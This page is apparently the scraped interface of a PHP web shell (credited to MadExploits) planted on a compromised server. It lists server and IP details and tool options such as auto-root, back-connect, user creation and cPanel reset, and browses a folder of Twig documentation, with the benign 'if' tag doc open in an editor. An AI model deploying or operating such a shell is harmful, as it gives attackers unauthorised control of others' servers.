Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cwpsrv /
var /
services /
twig /
doc /
tags /
[ HOME SHELL ]
Name
Size
Permission
Action
autoescape.rst
1.65
KB
-rw-r--r--
block.rst
448
B
-rw-r--r--
do.rst
177
B
-rw-r--r--
embed.rst
6.84
KB
-rw-r--r--
extends.rst
7.19
KB
-rw-r--r--
filter.rst
463
B
-rw-r--r--
flush.rst
218
B
-rw-r--r--
for.rst
4.46
KB
-rw-r--r--
from.rst
275
B
-rw-r--r--
if.rst
1.92
KB
-rw-r--r--
import.rst
1.72
KB
-rw-r--r--
include.rst
2.47
KB
-rw-r--r--
index.rst
238
B
-rw-r--r--
macro.rst
2.61
KB
-rw-r--r--
sandbox.rst
764
B
-rw-r--r--
set.rst
1.64
KB
-rw-r--r--
spaceless.rst
1.14
KB
-rw-r--r--
use.rst
3.18
KB
-rw-r--r--
verbatim.rst
367
B
-rw-r--r--
with.rst
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : if.rst
``if`` ====== The ``if`` statement in Twig is comparable with the if statements of PHP. In the simplest form you can use it to test if an expression evaluates to ``true``: .. code-block:: jinja {% if online == false %} <p>Our website is in maintenance mode. Please, come back later.</p> {% endif %} You can also test if an array is not empty: .. code-block:: jinja {% if users %} <ul> {% for user in users %} <li>{{ user.username|e }}</li> {% endfor %} </ul> {% endif %} .. note:: If you want to test if the variable is defined, use ``if users is defined`` instead. You can also use ``not`` to check for values that evaluate to ``false``: .. code-block:: jinja {% if not user.subscribed %} <p>You are not subscribed to our mailing list.</p> {% endif %} For multiple conditions, ``and`` and ``or`` can be used: .. code-block:: jinja {% if temperature > 18 and temperature < 27 %} <p>It's a nice day for a walk in the park.</p> {% endif %} For multiple branches ``elseif`` and ``else`` can be used like in PHP. You can use more complex ``expressions`` there too: .. code-block:: jinja {% if kenny.sick %} Kenny is sick. {% elseif kenny.dead %} You killed Kenny! You bastard!!! {% else %} Kenny looks okay --- so far {% endif %} .. note:: The rules to determine if an expression is ``true`` or ``false`` are the same as in PHP; here are the edge cases rules: ====================== ==================== Value Boolean evaluation ====================== ==================== empty string false numeric zero false whitespace-only string true empty array false null false non-empty array true object true ====================== ====================
Close